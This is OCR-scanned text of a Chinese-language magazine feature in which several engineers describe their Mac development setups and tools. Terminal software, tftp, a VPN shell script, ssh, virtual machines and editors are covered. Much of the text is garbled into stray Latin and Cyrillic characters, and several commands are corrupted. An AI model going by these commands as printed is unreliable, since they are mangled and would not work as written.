SSD， 所 以 启动 也 很 快 ， 只 要 
主板 不 坏 ， 应 该 还 能 继续 使 用 
SE 


达 人 专用 利器 


USB- 串口 转换 线 
要 说 网 络 工程 师 有 什么 


(D 自己 替换 的 话 就 不 再 属于 苹果 的 质保 范围 之 内 了 。 
(2 可 以 通过 Google 来 查 一 下 所 使 用 芯片 的 厂商 名 称 。md PL2303 MacOSX10.6up v1.5.0.zip (虽然 这 是 为 OS X 10.6 TER, 但 


是 在 Mountain Lion 上 也 能 使 用 )。 


USURIS йа 
现在 用 的 还 是 从 Windows 的 
时 候 就 开始 使 用 的 Sigma APO 
URS232-2( RS232C to USB 转 
MR) 制造 这 个 转换 线 的 公司 
在 2011 年 10 月 倒闭 了 所 以 
也 就 停产 了 。 这 种 USB -串口 
转换 线 虽 然 也 有 支持 Mac 的 版 
本 ,但 是 标准 版 并 不 支持 Mac， 
需要 从 芯片 厂商 的 主页 下 载 安 
装 Mac 专 用 的 驱动 中 才能 使 用 。 
安装 完毕 之 后 ,需要 在 控制 台 
执行 下 面 的 命令 进行 设置 。 


screen /dev/tty.usbserial 9600 


( ※ 波 特 率 为 9600 时 ) 


s v П á $ 
| ( 
i | 
ч ai — — -— = Sm E s z w ! 1 一 1 = 7 一 
LA > kas a — ы Р 
рае — т=р= eaen r == CREE s ч 
一 一 —— аг" == _—= M == АЕС 


在 通过 screen 命令 连接 之 后 ， 
如 果 想 切断 会 话 ， 必 须要 执行 
[сїї+ (A), (С) + (А), 5501] Mac 2 


强制 重启 ， 这 一 点 要 注意 。 
最 常 使 用 的 


终 病 软件 和 tftp 


下 面 介绍 两 个 笔者 正在 使 
用 的 应 用 程序 。 


Im iTerm2( 终端 软件 ) 


E ZR OS X Н ту B 2X 9g 2 
件 也 能 使 用 标签 页 (tab ) 等 功 
能 ,但 是 我 觉得 标准 终端 软件 
在 保存 log 方 面 不 是 特别 令 人 满 
X. АТИ 328 Е y'ilerm2 TE 
OS X АЈДЕ, NEA 
保存 log 的 话 只 有 两 种 方法 ， 要 
么 使 用 script 命 令 ， 要 么 就 是 将 
已 经 输出 到 窗口 的 内 容 直 接 保 
存 。 但 是 iTerm2 的 话 可 以 通过 
[Shell] > [Log] > [Start] Ж ft ff 
该 窗口 里 的 所 有 输出 。iTerm2 
特有 的 功能 就 是 在 生成 新 的 会 
话 的 时 候 ， 可 以 将 窗口 进行 水 
了 人 


У [51 


$ sudo Lsof -1:69 


通过 命令 启动 的 例子 (启动 tftp 服 务 ) 


$ sudo launchctl Load -w /System/Library/Launchbaemons/tftp.plist 


$ sudo Lsof -1:69 


COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME 
launchd 1 root 62u IPv4 @xfb0/cea5da4fób3b 0+0 UDP *:tftp 
launchd 1 root ó3u IPv6 @xfb0/cea5da4fócc3 OtQ UDP x:tftp 


w E? 


通过 命令 启动 的 例子 (停止 tftp 服务 ) 


$ sudo launchctl unload /System/Library/LaunchDaemons/tftp.plist 


$ sudo Lsof -1:69 


Bl e e 
= AT 
S (tftp 服务 器 
在 进行 路 由 六、 交换 机 等 
OS 升级 的 时 候 ; 我 会 用 它 来 
传输 升级 的 文件 。Mac 虽 然 说 
Hr f tftp R т, 但 是 在 使 


用 的 时 候 需 要 在 终端 里 像 风 1 
和 图 2 那样 进行 复杂 的 操作 ， 
ЗЕ HI 77 f 

而 安装 了 TftpServer 的 话 ， 
就 可 以 通过 GUI 来 对 tftp 服 务 器 
| 


АХ, УК, e OK 
修改 path 环 境 变 量 ， 非 党 方便 。 


能 快速 上 手 的 Mac 


刚 开 始 使 用 Mac 进行 工作 
的 时 候 ， 由 于 和 Windw s 在 操 
作 体 验 上 有 较 大 的 差别 很 有 挫 
败 感 ， 但 是 开始 使 用 之 后 没 多 久 
就 习惯 了 ， 也 再 没什么 明显 感到 
使 用 起 来 不 顺手 的 地 方 。 我 想 
不 管 你 从 事 的 是 什么 行业 的 工作 ， 
Mac 都 很 适合 在 工作 中 使 用 。 


Е EX. 在 没有 进行 窗 
口 分 割 的 时 候 ， 如 采 你 想 查 看 
其 他 会 话 ， 需 要 切换 窗口 或 者 
Рх 25 DL, [HiéTEiTerm2 H, 3X 
们 可 以 在 一 个 窗口 里 同时 查看 、 
对 比 多 个 会 话 的 内 容 , 非常 方便 。 
男 一 个 我 经 常 使 用 的 功能 
是 它 的 透明 背景 功能 ， 系 统 默 
认 的 终端 软件 也 有 这 个 功能 。 
这 个 功能 在 MacBook Air X ЁЁ 
JE +a e / |N BJ ш M Ишт 5 
的 ， 比 如 一 边 看 着 操作 流程 一 操作。 详细 内 容 请 参考 
边 获 打 键 盘 等 的 时 候 ， 并 不 需 ”正文 
要 切换 窗口 ， 直 接 透 过 iTerm2 


Sigma APO URS232-2 ( BS232C to USB 
转换 线 ) 由 于 生产 商 倒闭 ， 在 市 面 上 
已 经 买 不 到 了 。 不 过 网 络 工 程 师 却 
经 常 使 用 这 种 线 。Mac 上 也 能 使 用 这 
种 线 ， 不 过 需要 自己 安装 驱动 


我 把 常用 的 iTerm2 设置 
为 了 于 透明 的 风格 ， 这 
样 就 可 以 一 边 查 看 参考 
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使 用 Mac ciii Web 
应 用 开发 的 那些 事 


“ОША =a 


жеры. Сш 
的 果 面 是 怎样 的 


个 人 信息 


菊地 清高 ( KIKUCHI Kiyotaka ) 
sakura internet inc.( 樱 花 网 络 ) 新 事业 部 
8 年 左右 

个 人 作为 工程 师 
工作 以 前 就 开始 使 用 了 ， 到 现在 
应 该 有 15 年 了 

iMac( Rev.B ) -PowerMac 
G4-Macbook Pro ( Retina 15inch ) 


1978 F tH ^E, TE PC-98 А 
接触 到 BASIC， 之 后 便 开 始 对 
编程 感 兴 趣 。 最 近 主 要 负责 樱 
花 网 络 云 服务 的 计 费 服务 工作 ， 
也 做 一 些 和 本 职工 作 没 有 直接 
关系 的 项 目 企 划 、 开 发 。 目 前 
和 两 只 猫 一 起 生活 。 


笔者 的 桌面 周边 。 将 MacBook Air 接 到 外 部 显示 
示 的 是 正在 校对 的 本 稿 


器 上 ， 通 过 大 屏幕 进行 工作 。 画 面 里 显 


用 代码 清单 1 通过 VPN 连接 到 


人 司 的 网 络 。 为 了 更 方便 地 使 


5| F 


大 家 好 ， 我 是 樱花 网 络 的 
和 菊地。 目前 在 公司 从 事 IaaSs JE 
务 “Sakura cloud" bx 


主要 涉及 收费 、 AS, Ц 
mo — 我 主 


要 使 用 的 开发 语言 是 Java， 但 
是 如 采 需 要 和 其 他 系统 进行 交 
互 的 话 , 也 会 根据 情况 使 用 
PHP 或 Perl 等 。 平 时 在 公司 工 
EN к K p TE 
编码 中 度 过 的 ， 而 其 中 大 部 分 
的 开发 都 是 在 Mac 下 进行 的 。 


软件 及 配置 


ДЕ UNIX 命令 


AES. Ae 

Té HIE UNIX Е HORS, £ 

SUA SH ЈАКЕ, Tess 

H Homebrew K ko ER EXE 

ШАЕ ТЫВ, п] lJ i, Homebrew 
ЧЕ НЕЕ, 

: 组合 使 用 AppleScript 

和 Shell Script 的 技巧 

在 家 的 时 候 ， 如 采 公 司 出 

现 紧急 问题 需要 解决 ,我 会 使 


2 ‚ сч 
1 cms NA = A г З -yt —— I! | — 1ч 


用 这 个 脚本 ， 最 好 将 网 络 名 设 
置 为 英文 字母 或 数字 的 组 合 ; 


因为 在 控制 台 里 输入 这 些 字 符 
比较 方便 。 
HESS Se 

如 果 对 目 己 的 英语 发 音 没有 


自信 ， 可 以 使 用 say 命 令 来 确认 。 


= Mission Control 


КАМ Ба, 


各 代码 清单 1 


vpnc.sh“ 网络 名 " 


#!/bin/sh 
VPNLogin() { 

#15 AppleScript 
/usr/bin/osascript«« — EOF__ 
tell application "System Events" 


tell current Location of network preferences 


set VPNservice to service "$1" 


if exists VPNservice then connect VPNservice 


end tell 
end tell 
X EOF — 
} 
VPNLogin "$1" 


等 待 连接 成 功 
sleep 10 


设置 网 天 


addr=$(ifconfig pppÜ | awk '/inet / € print $2; )') 


sudo route add 172.16.0.0/12 "Фаааг" 


ЖЕ ша 
CJ. A HETT MZ ж IBI Н] UJ d 
一 般 情况 下 ， 在 一 个 虚拟 果 面 
里 将 一 个 应 用 程序 最 大 化 ， 即 
可 通过 (f+ 加 已 实 现 应 用 程 
序 之 间 的 切换 。 


Q 将 特定 窗口 显示 在 所 有 的 昌 
面 上 
如 果 你 想 在 每 个 虚拟 时 面 
上 都 显示 某 个 应 用 窗口 的 话 ， 
可 以 这 样 来 设置 在 Dock 的 目 
标 对 象 图 标 上 选择 [选项 ] 一 [分 
配给 ] 一 [所 有 果 面 ]。 


О 关闭 动画 效果 

最 开始 的 时 候 我 还 党 得 动 
画 效 末 挺 好 的 ， 不 过 后 来 发 现 
它 会 导致 系统 变 慢 ， 就 关闭 了 
动画 功能 。 现 在 只 有 Mission 
Control 和 Application Window 
在 进行 果 面 切换 的 时 候 还 保留 
痢 动 画 效 果 。 在 控制 台 上 输入 
Filia m s 


defaults write com.apple.dock 
expose-animation-duration -float 
0 &&killall Dock 


ЖИТ 


通过 GeetTool 5i zr Z& £f 


言 轧 的 样子 。 图 中 显示 Ë 


的 是 : 通过 df 命令 输出 


Term2。 里 然 本 文中 
¿E КЕ тих 
也 是 我 非常 喜欢 使 用 
的 一 个 软件 。 我 用 的 
也 是 默认 设置 


的 磁盘 的 使 用 情况 ( 左 ОИ 


上 )、 内 存 和 CPU 的 使 a sa 
用 情况 (左下 )、 显 示 时 E 


(АР) 


Е ~ 


Ш AS 5 S Java | f lis 
ih. ЖЖ Е 620 JH Мо, 
Vim 的 魅力 在 于 通过 为 数 不 多 
的 控制 键 就 能 完成 很 多 操作 。 
编写 Java 代 人 码 时 我 使 用 的 则 是 
IntelliJ IDEA» 


ДЕ iChat 


和 远程 数据 中 心 的 同事 等 
进行 交流 主要 使 用 XMPP 消 息 
Ste 


EE GeekTool 


11 3: ^F Bj MacBook Air #6 
A but k I, ЖЖ ЕТ 
ЕН RR AB S (E H] УВ W ZS iro 
MBA BJ 40 zs йт DU] # H ЖОЙ 1] 
GeekTool 显 示 内 存 使 用 量 ， 以 


及 新 邮件 的 通知 等 。 
& ‚ KeyRemap4 
Ë MacBook 


ТЕ Windows E HJ $ Н 
/英文 和 数字 的 时 候 使 用 的 是 
АК) + £2) E 28 £, Mac rH IIJ ze 
(Command)-- (space) 的 组 合 。 在 交叉 


E 
EM mA A "^ Su 80 7 p i "i -€oUC _ 


fii Hj Windows ЯП Mac 的 时 4px, 
有 时 会 产生 混乱 所 以 我 就 将 
Mac/ Windows 2i x< E 7J fii НЕ 
键 来 切换 了 。 设 置 方法 如 下 。 

[ For Japanese p pk mas 


Backquote(`) Key] 一 [Backquote(`) 
to KANA/EISUU (toggle)] 


Mac 的 不 便 之 处 


当 遇 到 只 能 在 Internet Explorer 
上 才能 运行 的 网 站 时 会 比较 麻 
Hi, Ее ETE EXP EC 
到 必须 使 用 Windw s £ Zi АЈ 
情况 , 这 种 情况 下 我 会 通过 
remote d sk op 登录 进 Windw s 


系统 ， 并 在 上 面 进 行 操作 。 


+ 
VE 


"TUS 


上 面 我 将 自己 使 用 Mac 的 
一 些 感想 简单 地 总 结 了 一 下 。 
Sl SSIBJJT 
发 环境 中 的 很 多 东西 也 都 能 在 
Windows 中 实现 。 不 过 Mac 的 
魅力 就 在 于 , 你 不 需要 太 费 力气 ， 
就 能 创建 一 个 完美 的 开发 环境 。 
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Ж а Мас HRE 
的 果 面 是 怎样 的 


86 


inl 


Mac 正 在 被 越 来 越 多 地 
用 于 企业 级 应 用 的 开发 


在 Web 应 用 开发 和 iOS 
应 用 开发 中 , 工程 师 使 用 


e 


Q 基于 MacBook 的 


IACTA Lf 


EE ХА 


一 一 最 强 的 多 OS ИЯ 


个 人 信息 


IE EXE ( GOTO Daichi ) 

BSD Consulting 股份 有 限 公 司 董事 /ONGS 
Inc. 股份 有 限 公司 总 经 理 /FreeBSD committer 
10 年 以 上 

SEME 

MacBookAir( 13inchMid2012 ) 


工作 内 容 丰 富 多 样 ， 从 企业 级 应 用 的 
设计 、 开 发 、 运 营 、 维 护 ， 到 IT 相 关 
的 新 闻 、 杂 志文 章 、 书 籍 的 撰写 等 均 
有 所 涉及 ， 还 包括 基于 FreeBSD/Linux 
的 从 内 核定 制 到 发 行 版 本 构建 、 自 动 
部 署 、 网 络 建设 等 工作 。 在 BSD 咨询 


方面 ， 能 灵活 地 应 对 企业 对 FreeBSD 
的 各 种 要 求 。 


| 全屏 运 行 应 用 程序 。 工 作 时 会 启动 多 个 虚拟 环境 ， 经 常 同时 使 用 多 个 O05 


为 什么 使 用 MacBook? 


首先 MacBook 基 本 上 具备 了 
你 需要 的 所 有 东西 。 在 Windows 


MacBook 的 情况 非常 多 ， 而 
最 近 在 企业 级 应 用 开发 的 现场 
也 经 常 能 见 到 使 用 MacBook 
Air HJ T. = I f ; FreeBSD 的 
工程 师 中 也 有 很 多 早 在 儿 年 前 
就 开始 使 用 MacBook Pro 或 
MacBook Air 了 。 造 成 这 种 情 
况 的 原因 有 很 多 ， 这 里 我 将 针 
HACHA RA a, UR Eii 
工程 师 如 何 使 用 Mac Book iH 
ТОРДЫ s op G. 


下 要 想 配 置 UNIX 环 境 的 话 ， 
需要 不 少 的 安装 、 配 置 工作 。 
H -FMacOS XE a A 
FreeBSD 的 user land (内 核 以 外 
yu 
它 当 作 一 台 UNIX 机 器 来 使 用 。 
这 也 是 喜欢 UNIX 的 工程 师 也 
喜欢 使 用 MacBook 的 原因 。 

如 果 是 台式 机 的 话 ， 可 以 
使 用 Ubuntu 或 FreeBSD 来 进 
TTJT A , TU IL Eee ЯХ FL 
的 ТЕ, Ubuntu 或 FreeBSD 就 


АКЕ f. Ende i pa AH 
H c TEE d Hu E ERES 
Linux/FreeBSD 系统 , ^ fX Ж 
HK ( Suspend )/ IA WE ( Resume ) 
功能 恨 好 ， 而 且 又 省 电 ， 还 能 
发 挥 GPU 的 性 能 ， 那 么 难度 将 
比较 大 。 而 如 果 使 用 MacBook 
的 话 ， 则 很 容易 就 能 做 到 了 。 


(8 МасВоокёЈ 


工程 师 的 开发 习惯 


我 在 使 用 MacBook 进行 开发 
的 时 候 ， 会 使 用 Parallels Desktop 
for Mac 或 者 VMware Fusion 等 


虚拟 环境 ， 同 时 运行 奋 干 个 OS。 
不 仅 我 目 己 这 样 ， 其 他 的 工程 
师 也 大 都 这 样 。 


у (à. 0 
LI | B | @ 基于 aceook 的 次 世代 开发 风格 
E — 3h | i RC ur ———— 


r 


这 里 我 们 以 企业 应 用 程序 
开发 为 例 进 行 说 明 。 比 如 ， 很 
多 时 候 我 们 会 在 服务 硕 端 的 OS 
使 Hj Red Hat Enterprise Linux 
(RHEL), И Ж Oracle RJ rf [Н] 
件 和 数据 库 产品 ， 存 储 设备 使 
用 Windows Server, 报表 输出 
使 用 File Maker， 前 端 服务 需 使 
用 FreeBSD+nginx 。 在 这 种 情 


开发 工作 。 我 本 人 也 是 这 
J Ap ET AGE 
理 一 些 服 务 融 ， 现 在 不 管 
在 世界 上 的 哪 一 个 角落 ， 
基本 上 者 能 访问 所 需要 的 
开发 资源 。 只 要 熟练 掌握 
了 ssh(1) 的 使 用 方法 ， 就 
能 从 各 种 各 样 的 网 络 环境 
连接 到 目 己 的 环境 进行 


况 下 ， 我们 可 以 使 用 虚拟 机 来 
创 Æ WindowsServer, RHEL, 
FreeBSD у 3 g. FA" OS E 
拟 机 都 可 以 以 全 屏 的 方式 运行 ， 
必要 时 只 需要 在 触摸 板 上 通过 3 
个 手指 滑动 束 可 以 切换 OS 虚拟 
机 了 。 切换 到 Windows Server 后 ， 
MacBook 看 上 去 就 像 是 一 人 台 普 
通 的 Windows 笔 记 本 电脑 。 在 
MacBook 上 配置 和 生成 环境 相 
近 的 开发 环境 ， 还 能 提高 生产 
环境 的 部 署 效 率 。 

由 于 每 种 虚拟 环境 都 能 
很 好 地 王 作 一 所 以 我 们 在 安装 
应 用 程序 的 时 候 不 需要 拘泥 于 
某 一 种 0S。 比 如 在 FreeBSD 
E #2 X Bë Ж“ Apache HTTPd 
Server JE 7; 18, MARTI 
ТЕ FreeBSD 上 来 安装 Apache; 
PDF Zi $8 2$ ТЕ Windows 上 运行 
最 正常 ， 那 么 就 选择 Windows; 
Oracle 数据 库 在 RHEL 上 安装 
最 容易 , 那么 就 选择 RHEL。 
As e Ro xe D S bf DU, Yu 
择 最 合适 的 于 其 3 


充分 利用 ssh(1) 


随时 随地 进行 开发 
使 用 MacBook 进行 开发 的 


工程 师 更 倾 问 于 抱 春 电脑 到 处 
移动 ， 在 各 种 不 同 的 场所 进行 


ЫЕ O ore 


——— a 


- 
| AAArA me we лт а 


Шы 

编辑 器 对 开发 者 来 
膏 非常 重要 。 我 使 用 的 
是 Vim 或 Emacs 这 种 能 够 
在 终端 下 运行 的 多 功能 
编辑 需 软 件 。 必要 的 时 候 ， 
我 还 会 自己 编写 插件 或 
4 3 j j j JL 
н ng АК J BJ 2) ВЕ. Wh 
т И, (НЭР 
泥 于 使 用 控制 台 进 行 开发 ， 如 
条 需要 IDE 的 话 ， 我 会 局 动 虚 
拟 机 环境 在 Windows 下 安装 开 
ACTZARSESETNT2EASdOS3TA 
的 话 则 使 用 Xcode 进行 。 


将 硬件 升级 为 最 高 配置 


由 于 我 在 工作 中 经 常 需 
要 使 用 虚拟 环境 进行 各 种 构 
建 ( 编 详 ) 工作， 所 以 将 自己 的 
MacBook 的 配置 升级 成 为 了 最 
高 配置 。 这 样 尽 管 会 增加 一 些 
成 本 , 但 是 从 开发 的 角度 来 说 ， 
其 回报 还 是 非常 值得 的 。 如 果 
只 是 Web 应 用 的 前 端 ( Edge) 
开发 这 种 比较 轻 量 级 的 部 分 的 
ih. 标准 配置 的 MacBook 即 可 
胜任 。 

ÁX r CPU, NÝ. SSD 
A DJ Bz АА, Л 


平时 使 用 的 MacBook Air 的 桌面 。 基 本 上 
什么 都 没有 放 


我 的 开发 工作 主要 通过 ssh(1) 登录 后 用 
vim(1) 进 行 。 这 样 束 可 以 在 世界 的 任何 地 
ОЛДЫ А: 


发 方面 基本 上 不 会 有 任何 压力 
了 。 月 本 的 工程 师 和 国外 的 工 
程 师 有 所 不 同 ， 国 外 的 工程 师 
更 重视 机 融 的 配置 ， 所 以 多 选 
Ж MacBook Pro; 而 日 本 的 工 
程 师 则 更 重视 便携 性 ， 所 以 多 
选择 MacBook Air。 

本 文中 介绍 的 开发 环境 在 
Windows 上 同样 也 能 实现 , 但 
是 那样 的 话 有 时 候 将 面临 不 得 
不 创建 MacOSX 虚 拟 环境 以 
及 进行 iOS 应 用 开发 等 各 种 问 
题 。 所 以 像 现在 这 样 以 Mac OS 
X 为 主要 开发 环境 ， 也 是 三 个 
ЗЕ А77 2 s 
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|” Mac， 软件 工程 师 的 不 二 之 选 ? \ 


Ж а Мас HRE 
的 果 面 是 怎样 的 


Android/iOS 
WIAR 


ES / АША, 


个 人 信息 


3111 ( EGAWA Takashi ) 

Smartium 股份 有 限 公司 

开发 经 验 арз 

| Mac 使 用 经 验 Ж ЕЕ Е-&-—-Бе л 
15z&5] Retina B£ MacBook Pro 
( CPU:2.7GHz 4 Ж Intel Core i7/ 
Memory:16GB ) 


坚持 创新 的 移动 应 用 程序 开发 工程 师 。 
本 职工 作 有 90% 都 和 Android 相关 。 著 
有 《Google Android RANNE, 
ASCII MEDIA WORKS 出 版 ) 等 。 同 
时 也 是 Google API Expert( Android ) 
= 


mus ciat Шала r c We: ERA. ro EX LC b TOM mo m 
|” 图 中 是 用 来 运行 文本 编辑 器 程序 的 一 个 桌面 。 根 据 工作 内 容 的 不 同 ， 我 会 创建 若 
干 个 虚拟 桌面 。 从 左面 开始 分 别 是 : 使 用 浏览 器 进行 技术 调查 和 | 阅读 文档 的 窗口 、 
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文本 编辑 器 ( SublimeText 入 开发 环境 、 控 制 侣 终端、 交流 /团队 协作 工具 


Mac 的 魅力 


对 于 移动 应 用 开发 者 的 我 
K, Mac 的 魅力 有 以 下 3 点 。 
gp nih 长 时 间 

ЖЕШ 使 用 也 不 会 感到 疲劳 

我 本 人 觉得 Mac 使 用 起 
来 非常 舒服 。 在 编 但 的 时 候 我 
几乎 只 使 用 键盘 ， 编 码 以 外 的 
时 间 比 较 充 裕 , 每 天 都 会 使 
Н Mac 进行 各 种 各 样 的 工作 。 
Mac 那 经 过 精心 雕琢 的 UX 会 
给 人 市 来 一 种 安心 感 ， 其 统一 
且 舒 适 的 操作 体验 ， 都 会 减轻 
K ji HB (| |ji УЛ 16 


它 做 什么 工作 ， 时 间 再 长 都 很 
WERA Ro јх: Мас Book 
这 样 的 笔记 本 ， 不 想 用 的 时 候 
直接 把 屏幕 合 上 即 可 ,使 用 的 
时 候 再 把 屏 锅 打开 就 行 了 ， 丝 
© Дх Ж ИА ШИВ E ai „ 
它 的 虚拟 更 面 环境 也 非常 
出 色 ， 根 据 用 途 的 不 同 ， 我 会 
创建 不 同 的 人 桌面 。 由 于 可 以 通 
过 快捷 键 下 接 打 开 想 要 的 黎 
O, MARRA ГААН ж 
而 不 得 不 费力 去 挨个 查找 的 烦 
恼 。 像 这 样 的 功能 单个 看 起 来 
好 像 并 没有 那么 大 的 过 人 之 处 ， 


但 正 是 因为 对 每 个 这 样 的 小 功 
能 都 精心 设计 ， 才 造就 了 今天 


Mac 所 具备 的 良好 的 用 户 体验 。 
如 有 果 每 天 必需 要 长 时 间 使 用 电 
脑 的 话 ， 我 肯定 会 使 用 Mac 的 。 


开发 环境 的 不 二 之 先 


对 移动 应 用 开发 人 员 来 说 ， 
这 十 非常 午 要 的 Ei. ДЛ 
是 开发 Windows Phone 应 用 等 
特殊 情况 ,我 都 会 目 然 而 然 地 
选择 使 用 Mac。iOS 自 不 必 说 ， 
即使 是 Android 也 可 以 非常 轻 
松 地 进行 手机 和 电脑 的 连接 ， 
JF A& Í OB YT Ab IE Lla 
Mach А н ШЕ 
他 机 硕 上 开发 有 更 好 的 稳定 性 。 


"twm. 同时 使 用 CUI 和 和 
GUI ЕЗ 

对 开发 工程 师 来 说 ,能 
同时 使 用 简单 吻 用 的 GUI 和 
bash, zsh 等 Shell 工 具 这 一 点 
也 非常 有 魅力 。 几 于 Mac 是 基 
于 BSD UNIX 的 ， 所 以 可 以 方 
便 地 使 用 、 编 译 UNIX 上 的 开 
源 软件 二 从 这 点 来 说 ， 我 们 的 
Mac 既 满足 了 进行 开发 的 必要 
216, ANNEE RIESI 
便 的 开发 机 器 。 


和 其 他 电脑 分 开 使 用 


除了 Mac 之 外 , 我 还 在 
使 用 其 他 的 OS。 比 如 我 会 在 
Windows 下 用 Visual Studio 7T 
发 .NET 的 应 用 程序 ， 以 及 使 用 
弥生 会 计 这 类 只 能 在 Windows 
下 使 用 的 软件 。Linux 则 主 
要 被 用 来 编译 Android 或 者 
Firefox OS 等 平台 系统 以太 
进行 耗 时 较 长 的 计算 处 理 。 之 
前 我 曾经 使 用 过 VMware 等 虚 
拟 机 软件 来 使 用 其 他 OS， 但 是 
局 来 慢 慢 地 就 不 再 使 用 了 。 放 
弃 VMware 的 最 大 原因 就 是 我 
觉得 为 了 完成 某 项 任务 还 是 准 


Y 


d оға 


ELE 


4 — ^ НАЈК БИ, JU 
其 是 我 还 准备 了 多 内 核 、 大 内 
££ I) Linux & H PLAE ИП ЖЛЕ 
I 临 时 需要 使 用 某 OS， 我 也 会 使 
ЊН Amazon 的 EC2。 


编辑 器 和 1DE 


为 开发 Android 应 用 的 
情况 较 多 ， 所 以 IDE 一 般 使 用 
Eclipse ， 编 辑 器 则 主要 使 用 
Sublime Text。 强 类 型 语言 可 以 
使 用 Eclipse 的 语法 提示 功能 ， 
非常 方便 。 由 于 Eclipse 需要 的 
IO 操 作 较 多 ;所 以 放 到 相对 
比较 快速 的 SSD 盘 比较 好 ， 不 
过 Mac Book Pro 的 话 完全 能 够 
解决 这 个 问题 。 

JH IML „ауавсгр s 
Erlang, Ruby, Shell Script 等 非 
强 类 型 语言 的 话 ， 使 用 Sublime 
Text SL Æ f£ Г. Sublime Text 
的 优点 之 一 就 是 可 以 根据 上 自己 
的 喜好 通过 插件 来 对 编辑 融 进 
行 定制 。 由 于 能 够 根据 具体 的 
使 用 目的 来 定制 目 己 的 开发 环 
境 或 者 外 观 ， 因 此 对 所 有 的 软 
件 工程 师 来 说 都 很 有 吸引 力 。 
Sublime Text 软 件 本 号 是 收费 的 ， 


“Жы < — 
i = 


应 用 开发 必 


但 是 可 以 免费 试用 。 推 荐 大 家 
都 来 尝试 一 下 这 个 编辑 器 山 。 


作为 移动 应 用 程序 开发 者 
之 一 ”最 后 再 给 大 家 介绍 一 下 
最 近 比 较 着 迷 的 两 个 外 设 产品 中 。 


О INNOCUBE 

支持 MHL、HDMI 接 口 
的 小 型 投影 仪 。 由 于 可 以 方便 
地 连接 到 Android 或 者 iPhone/ 
iPad 守 ,非常 适合 用 来 做 移动 
Лу НАК, ер 
x1xtfrvbi6. БАЛЗАМ, 
EER, ЧЕН o 


QLivescribe 

DE ВЕЗЕ RITE IA 
的 组 合 设 备 。 VER f ВЕК 
写 的 内 容 之 外 ， 还 能 同时 记录 
当时 周围 的 声音 ,并 能 通过 
Wi-Fi 保 存 到 Evernote。 工 作 中 
我 会 经 和 津 通 过 网 络 和 远程 的 同 
ОЛ ЛЛК ОНТ: Мас 
Tr o = ЖН), 3L 
能 将 清晰 的 声音 和 手写 的 备注 
内 容 一 同 保存 到 云端 了 。 


将 INNOCUBE 和 Android 连接 起 来 的 样子 


(D Sublime Text 2 的 cheat sheet http:/www.gsmproductions.com/misc/sublime.html 
(2) Livescribe 最 近 在 中 国 也 都 有 了 销售 渠道 ， INNOCUBE 还 没有 正式 进入 中 国 市 场 。 


M a 


1 ee pg 
一 = - 
О ЖА ` рч A =f —— t EEN rA LTr ZA 


Livescribe 使 用 过 度 ， 


sS АШ Т 
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“看 看 Mac 开 发 者 
的 果 面 是 怎样 的 


A 
ВРЕ 


T 


А) 


eE 


t: 
i 


| SB. 


Mac 的 魅力 所 在 


m Mac OS X 的 魅力 


对 我 来 说 ,评论 一 
好 坏 最 重要 的 标准 是 用 起 来 是 
不 是 顺手 ， 而 UI 和 反应 速度 就 
是 两 个 很 重要 的 指标 。 不 管 操 
作 系 统 的 功能 有 多 丰富 ， 但 是 
如 果 UI 使 用 起 来 很 不 顺手 ， 反 
应 速度 也 很 慢 ， 那 么 用 户 将 会 
倍 受 折磨 ， 并 最 终 放 弃 使 用 。 
iOS #1 Mac OSX 的 UI 不 仅 使 


М 


多 数 情况 都 是 在 这 里 使 用 Mac mini 进 行 开 发 SES 
Mac Book Pro 进行 工作 。 笔 者 大 爱 的 HHKB 键盘 ， 


作 的 黑色 刻印 版 шшш 


台电 脑 


"Mac. ETIS Z? _ 


7 — 
4 ka. o 


FE / XIX 


离开 座位 时 ， 使 用 
是 周刊 ASCIl PLUS 1 周年 纪念 时 制 


用 起 来 很 容易 ， 仔 细 观 察 的 话 
还 会 发 现 很 多 小 地 方 的 动画 也 
都 做 得 很 用 心 ， 让 它 的 使 用 者 
感到 非常 享受 。 而 且 各 个 应 用 
程序 的 UI 都 保持 看 统一 的 风格 ， 
使 用 起 来 非常 方便 。 

另外 ,在 iOS 开 发 中 无 意 
间 开 始 使 用 的 QuickLook 和 
F e BJ Т. 
H., QuickLook 可 以 在 不 通过 
A BR 
速 确 认 资 源 文件 或 文档 的 内 容 ， 
对 工作 有 很 大 帮助 。Spotlight 
可 以 在 凌乱 不 堪 的 桌面 或 者 下 


怎么 编码 都 不 会 
感到 累 的 电脑 


个 人 信息 


森 拓 也 ( MORI Takuya ) 
Ubiquitous Entertainment Inc. 软件 
Im 

7 年 

3 年 

Macmini. MacBook Pro 


1987 年 出 生 。 籍贯 石川 县 。 
2011 年 11 月 加 入 Ubiquitous 
Entertainment Inc.， 主 要 从 事 
iOS 应 用 程序 开发 工作 。 尤 其 
擅长 使 用 AR、 图 像 处 理 等 技 
术 进 行 应 用 开发 。 


载 文件 夹 里 迅速 找到 想 要 的 文 
件 。 这 两 个 工具 的 优点 就 是 速 
度 非 第 快 。 如 果 需 要 尽快 回 到 
编码 工作 的 话 ， 那 么 这 种 反应 
速度 就 显得 尤为 重要 了 。 


ДЕ MacBook Pro 的 魅力 


MacBook Pro 作 为 笔记 本 
来 说 各 功能 已 经 非常 完善 ,我 
ЧЕ Ж К» SIMPLES Hi 4J Н 
Ik dX Y^ Z i H] Windows 系统 
HJ, fH 3 iu yh 3 
ТЕ mk H fi Hj MacBook Pro Ѓ. 


MacBook Pro # f 9 fR 2, 


比如 轻 量 、 发 热 少 等 , 但 是 对 
我 来 说 最 大 的 魅力 还 是 它 的 
HER. 

平时 在 使 用 合式 机 的 时 
候 , 我 会 用 Mac mini + Happy 
Hacking Keyboard Pro2 (Jr; Жїн] 
称 HHKB )， 但 要 使 用 HHKB， 
键盘 布局 必须 为 US 方式 。 不 
过 在 购买 MacBook Pro 的 时 候 
可 以 选择 JIS 布局 或 者 US 布局， 
这 一 点 非常 方便 a MacBook Pro 
的 按键 基于 受 电驴 ( Pantograph ) 
结构 ， 相 EE MacBook Air 按 键 


( Keystroke ) UR EE KD. fk 
下 去 后 反弹 强度 也 强 一 些 。 按 键 


中 心间 距 (Key Pitch ) 7j 19mm, 
m H.E 14м, 没有 松动 感 
从 HHKB 切换 时 也 很 顺手 。 有 
时 候 键 盘 不 同 可 能 会 让 用 户 用 
起 来 不 舒服 ,但 是 我 在 使 用 
MacBook Pro 的 时 候 则 完全 没 
有 感到 任何 砍 烦 ， 很 容易 就 适 
ШЕЕ 


天 于 编辑 器 和 1DE 


ДЕ, 常用 的 编辑 器 


里 然 最 近 Sublime Text XU 
